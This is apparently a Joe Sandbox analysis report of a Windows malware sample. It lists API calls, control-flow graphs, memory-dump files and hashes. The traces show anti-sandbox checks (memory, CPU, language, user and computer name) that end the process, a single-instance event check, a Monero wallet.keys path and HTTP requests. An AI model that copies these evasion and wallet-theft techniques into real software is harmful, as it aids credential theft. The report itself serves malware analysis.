                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,00985608), ref: 00E29C9C
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,00991608), ref: 00E29CB4
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,009916B0), ref: 00E29CCC
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,00991788), ref: 00E29CE5
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,00991500), ref: 00E29CFD
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,009856C8), ref: 00E29D15
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,009916C8), ref: 00E29D2E
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E111D0: ExitProcess.KERNEL32 ref: 00E11211
                                      • Part of subcall function 00E11160: GetSystemInfo.KERNEL32(?), ref: 00E1116A
                                      • Part of subcall function 00E11160: ExitProcess.KERNEL32 ref: 00E1117E
                                      • Part of subcall function 00E11110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E1112B
                                      • Part of subcall function 00E11110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00E11132
                                      • Part of subcall function 00E11110: ExitProcess.KERNEL32 ref: 00E11143
                                      • Part of subcall function 00E11220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E1123E
                                      • Part of subcall function 00E11220: __aulldiv.LIBCMT ref: 00E11258
                                      • Part of subcall function 00E11220: __aulldiv.LIBCMT ref: 00E11266
                                      • Part of subcall function 00E11220: ExitProcess.KERNEL32 ref: 00E11294
                                      • Part of subcall function 00E26A10: GetUserDefaultLangID.KERNEL32 ref: 00E26A14
                                      • Part of subcall function 00E11190: ExitProcess.KERNEL32 ref: 00E111C6
                                      • Part of subcall function 00E279E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E111B7), ref: 00E27A10
                                      • Part of subcall function 00E279E0: RtlAllocateHeap.NTDLL(00000000), ref: 00E27A17
                                      • Part of subcall function 00E279E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E27A2F
                                      • Part of subcall function 00E27A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27AA0
                                      • Part of subcall function 00E27A70: RtlAllocateHeap.NTDLL(00000000), ref: 00E27AA7
                                      • Part of subcall function 00E27A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00E27ABF
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00998C68,?,00E310F4,?,00000000,?,00E310F8,?,00000000,00E30AF3), ref: 00E26D6A
                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E26D88
                                    • CloseHandle.KERNEL32(00000000), ref: 00E26D99
                                    • Sleep.KERNEL32(00001770), ref: 00E26DA4
                                    • CloseHandle.KERNEL32(?,00000000,?,00998C68,?,00E310F4,?,00000000,?,00E310F8,?,00000000,00E30AF3), ref: 00E26DBA
                                    • ExitProcess.KERNEL32 ref: 00E26DC2
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
                                    • String ID:
                                    • API String ID: 2525456742-0
                                    • Opcode ID: ffedaffd8130eef70bb00fbde1646e94bfb2194c9388fd0992db15bc52d924a3
                                    • Instruction ID: eb7475a131fb2e341cb550e87fd07282f111d1b92120dee14747359ea979cb73
                                    • Opcode Fuzzy Hash: ffedaffd8130eef70bb00fbde1646e94bfb2194c9388fd0992db15bc52d924a3
                                    • Instruction Fuzzy Hash: D5310C71A00228ABCB04F7F0EC57AEEB7F9AF04740F586968F51276182DF746945C762
                                    Function 00E11220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1436 e11220-e11247 call e28b40 GlobalMemoryStatusEx 1439 e11273-e1127a 1436->1439 1440 e11249-e11271 call e2dd30 * 2 1436->1440 1441 e11281-e11285 1439->1441 1440->1441 1444 e11287 1441->1444 1445 e1129a-e1129d 1441->1445 1447 e11292-e11294 ExitProcess 1444->1447 1448 e11289-e11290 1444->1448 1448->1445 1448->1447
                                    APIs
                                    • GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E1123E
                                    • __aulldiv.LIBCMT ref: 00E11258
                                    • __aulldiv.LIBCMT ref: 00E11266
                                    • ExitProcess.KERNEL32 ref: 00E11294
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: __aulldiv$ExitGlobalMemoryProcessStatus
                                    • String ID: @
                                    • API String ID: 3404098578-2766056989
                                    • Opcode ID: e1a4be6c9ea0a3f90dc8329edd0d79a73435f283606c201a985c9f755c608941
                                    • Instruction ID: 324539030445557ce363d9503e8e885b4becf935190b38c5ffb38be1e708a992
                                    • Opcode Fuzzy Hash: e1a4be6c9ea0a3f90dc8329edd0d79a73435f283606c201a985c9f755c608941
                                    • Instruction Fuzzy Hash: 8D016DB0D44318BAEF10DFE4DC4ABEEBBB8EB14705F209488E705BA1C0C6745581DB99
                                    Function 00E26D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1450 e26d93 1451 e26daa 1450->1451 1453 e26d5a-e26d77 call e2ade0 OpenEventA 1451->1453 1454 e26dac-e26dc2 call e26bc0 call e25d60 CloseHandle ExitProcess 1451->1454 1460 e26d95-e26da4 CloseHandle Sleep 1453->1460 1461 e26d79-e26d91 call e2ade0 CreateEventA 1453->1461 1460->1451 1461->1454
                                    APIs
                                    • OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00998C68,?,00E310F4,?,00000000,?,00E310F8,?,00000000,00E30AF3), ref: 00E26D6A
                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E26D88
                                    • CloseHandle.KERNEL32(00000000), ref: 00E26D99
                                    • Sleep.KERNEL32(00001770), ref: 00E26DA4
                                    • CloseHandle.KERNEL32(?,00000000,?,00998C68,?,00E310F4,?,00000000,?,00E310F8,?,00000000,00E30AF3), ref: 00E26DBA
                                    • ExitProcess.KERNEL32 ref: 00E26DC2
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseEventHandle$CreateExitOpenProcessSleep
                                    • String ID:
                                    • API String ID: 941982115-0
                                    • Opcode ID: d38760929d17c6b70def5727af49b99ded711719dd670ddf734369220a201d39
                                    • Instruction ID: b5c441181800a468162fdbc968e77f6a83acb5214f22edde38d1078361d5e09f
                                    • Opcode Fuzzy Hash: d38760929d17c6b70def5727af49b99ded711719dd670ddf734369220a201d39
                                    • Instruction Fuzzy Hash: 33F05E30A44229EFEB10BBA0FD0ABBE33B4AF04B05F141619B512B9184CBB55900CB91
                                    Function 00E14800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    APIs
                                    • lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14889
                                    • InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14899
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CrackInternetlstrlen
                                    • String ID: <
                                    • API String ID: 1274457161-4251816714
                                    • Opcode ID: e8bb9d8159c8037bd467f43619cc456ff6f26ba3553492045ca63bede80fb169
                                    • Instruction ID: c0cccb708f64c053233e1e7cbcc79b6f354784ae926417a7bf6a2076c72aae30
                                    • Opcode Fuzzy Hash: e8bb9d8159c8037bd467f43619cc456ff6f26ba3553492045ca63bede80fb169
                                    • Instruction Fuzzy Hash: 67214DB1D00209ABDF14DFA4E845ADE7BB5FB45320F108625F925BB2C0EB706A09CF91
                                    Function 00E25440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    APIs
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                      • Part of subcall function 00E162D0: InternetOpenA.WININET(00E30DFF,00000001,00000000,00000000,00000000), ref: 00E16331
                                      • Part of subcall function 00E162D0: StrCmpCA.SHLWAPI(?,0099FB60), ref: 00E16353
                                      • Part of subcall function 00E162D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E16385
                                      • Part of subcall function 00E162D0: HttpOpenRequestA.WININET(00000000,GET,?,0099F2D8,00000000,00000000,00400100,00000000), ref: 00E163D5
                                      • Part of subcall function 00E162D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E1640F
                                      • Part of subcall function 00E162D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E16421
                                    • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E25478
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
                                    • String ID: ERROR$ERROR
                                    • API String ID: 3287882509-2579291623
                                    • Opcode ID: f34ee74ca7a300730f9c4a958de5a265500f3ad74c3084e94d5a0e8ae5c3bd66
                                    • Instruction ID: 4f739a58af83c770ace580f96884ff4445422dc11117de31850d268a7e344107
                                    • Opcode Fuzzy Hash: f34ee74ca7a300730f9c4a958de5a265500f3ad74c3084e94d5a0e8ae5c3bd66
                                    • Instruction Fuzzy Hash: 4B1116719001189BCB14FF64ED52AED77B9AF50340F445568F91B77492EF30AB44CB51
                                    Function 00E27A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27AA0
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E27AA7
                                    • GetComputerNameA.KERNEL32(?,00000104), ref: 00E27ABF
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateComputerNameProcess
                                    • String ID:
                                    • API String ID: 1664310425-0
                                    • Opcode ID: 1a48543ed5c10a63bf5083c8ad0219b3f978d1384b598f3bc94ec81e9d403821
                                    • Instruction ID: cedbbfc3e4ee894899455e12eacb3473f566f6eddb207724ab6dc16792ccb439
                                    • Opcode Fuzzy Hash: 1a48543ed5c10a63bf5083c8ad0219b3f978d1384b598f3bc94ec81e9d403821
                                    • Instruction Fuzzy Hash: F50186B1908359ABC710CF99ED45BAFBBB8F704B21F100219F545F6280D7755A00C7E1
                                    Function 00E11110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E1112B
                                    • VirtualAllocExNuma.KERNEL32(00000000), ref: 00E11132
                                    • ExitProcess.KERNEL32 ref: 00E11143
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process$AllocCurrentExitNumaVirtual
                                    • String ID:
                                    • API String ID: 1103761159-0
                                    • Opcode ID: 21b883d0efe9db106f37bc8e3267264337461a931a0ab32ee431065daf40e677
                                    • Instruction ID: 116e265f96f8714629de8094f28fc7862949de5ee2427e4157431bbd3fe248d5
                                    • Opcode Fuzzy Hash: 21b883d0efe9db106f37bc8e3267264337461a931a0ab32ee431065daf40e677
                                    • Instruction Fuzzy Hash: 45E08670E45308FBE7209B919C0AB4C76A89B04F05F100084F7087A1C0C6B925404798
                                    Function 00E110A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00E110B3
                                    • VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00E110F7
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Virtual$AllocFree
                                    • String ID:
                                    • API String ID: 2087232378-0
                                    • Opcode ID: 321e4e1eb9980f460e5835835aaedff52793286c7e80e1c30cb73116095fb43e
                                    • Instruction ID: c457123be73b54ccc5edec415f0e03fb31d9595c0014de670908a49bb04f0d9d
                                    • Opcode Fuzzy Hash: 321e4e1eb9980f460e5835835aaedff52793286c7e80e1c30cb73116095fb43e
                                    • Instruction Fuzzy Hash: 29F0E971641314BBE71496A4AC59FAFB7D8E705B04F301488F540E7280D5729E0087A0
                                    Function 00E11190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E27A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27AA0
                                      • Part of subcall function 00E27A70: RtlAllocateHeap.NTDLL(00000000), ref: 00E27AA7
                                      • Part of subcall function 00E27A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00E27ABF
                                      • Part of subcall function 00E279E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E111B7), ref: 00E27A10
                                      • Part of subcall function 00E279E0: RtlAllocateHeap.NTDLL(00000000), ref: 00E27A17
                                      • Part of subcall function 00E279E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E27A2F
                                    • ExitProcess.KERNEL32 ref: 00E111C6
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
